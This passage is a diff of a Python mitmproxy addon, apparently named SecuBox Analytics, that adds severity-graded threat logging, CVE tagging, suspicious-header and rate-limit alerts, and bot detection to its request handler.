'unknown' @@ -217,6 +567,12 @@ class SecuBoxAnalytics: # Determine routing (proxied vs direct) routing = self._should_proxy_internal(request, source_ip) + # Enhanced threat detection + scan_result = self._detect_scan(request) + suspicious_headers = self._detect_suspicious_headers(request) + rate_limit = self._check_rate_limit(source_ip) + client_fp = self._get_client_fingerprint(request) + # Build log entry entry = { 'timestamp': datetime.utcnow().isoformat() + 'Z', @@ -228,15 +584,18 @@ class SecuBoxAnalytics: 'host': request.host, 'path': request.path, 'query': request.query.get('q', '')[:100] if request.query else '', - 'client': self._get_client_fingerprint(request), - 'scan': self._detect_scan(request), + 'client': client_fp, + 'scan': scan_result, 'is_auth_attempt': self._is_auth_attempt(request), 'content_length': len(request.content) if request.content else 0, 'routing': routing, + 'suspicious_headers': suspicious_headers, + 'rate_limit': rate_limit, 'headers': { 'referer': request.headers.get('referer', '')[:200], 'origin': request.headers.get('origin', ''), 'cache_control': request.headers.get('cache-control', ''), + 'content_type': request.headers.get('content-type', '')[:100], } } @@ -247,25 +606,80 @@ class SecuBoxAnalytics: else: request.headers['x-secubox-proxied'] = '1' + # Add threat indicator headers for downstream processing + if scan_result.get('is_scan'): + request.headers['x-secubox-threat'] = scan_result.get('category', 'unknown') + request.headers['x-secubox-severity'] = scan_result.get('severity', 'medium') + # Store for response processing flow.metadata['secubox_entry'] = entry - # Log scan attempts immediately - if entry['scan']['is_scan']: - ctx.log.warn(f"SCAN DETECTED: {source_ip} ({entry['country']}) - {entry['scan']['pattern']} - {request.path}") + # Update statistics + self._update_stats(entry) + + # Log and alert based on severity + if scan_result.get('is_scan'): + severity = scan_result.get('severity', 'medium') + pattern = scan_result.get('pattern', 'unknown') + category = scan_result.get('category', 'unknown') + cve = scan_result.get('cve', '') + + log_msg = f"THREAT [{severity.upper()}]: {source_ip} ({entry['country']}) - {pattern}" + if cve: + log_msg += f" ({cve})" + log_msg += f" - {request.method} {request.path}" + + if severity == 'critical': + ctx.log.error(log_msg) + elif severity == 'high': + ctx.log.warn(log_msg) + else: + ctx.log.info(log_msg) + self._add_alert({ 'time': entry['timestamp'], 'ip': source_ip, 'country': entry['country'], - 'type': 'scan', - 'pattern': entry['scan']['pattern'], - 'path': request.path + 'type': 'threat', + 'pattern': pattern, + 'category': category, + 'severity': severity, + 'cve': cve, + 'path': request.path, + 'method': request.method, + 'host': request.host + }) + + # Log suspicious headers + if suspicious_headers: + ctx.log.warn(f"SUSPICIOUS HEADERS: {source_ip} - {[h['header'] for h in suspicious_headers]}") + self._add_alert({ + 'time': entry['timestamp'], + 'ip': source_ip, + 'country': entry['country'], + 'type': 'suspicious_headers', + 'headers': suspicious_headers + }) + + # Log rate limit violations + if rate_limit.get('is_limited'): + ctx.log.warn(f"RATE LIMIT: {source_ip} ({entry['country']}) - {rate_limit['count']} requests") + self._add_alert({ + 'time': entry['timestamp'], + 'ip': source_ip, + 'country': entry['country'], + 'type': 'rate_limit', + 'count': rate_limit['count'] }) # Log auth attempts if entry['is_auth_attempt']: ctx.log.info(f"AUTH ATTEMPT: {source_ip} ({entry['country']}) - {request.method} {request.path}") + # Log bot detection + if client_fp.get('is_bot'): + ctx.log.info(f"BOT DETECTED: {source_ip} - {client_fp.get('user_agent', '')[:80]}") + def response(self, flow: http.HTTPFlow): """Process response to complete log entry""" entry = flow.metadata.get('secubox_entry', {})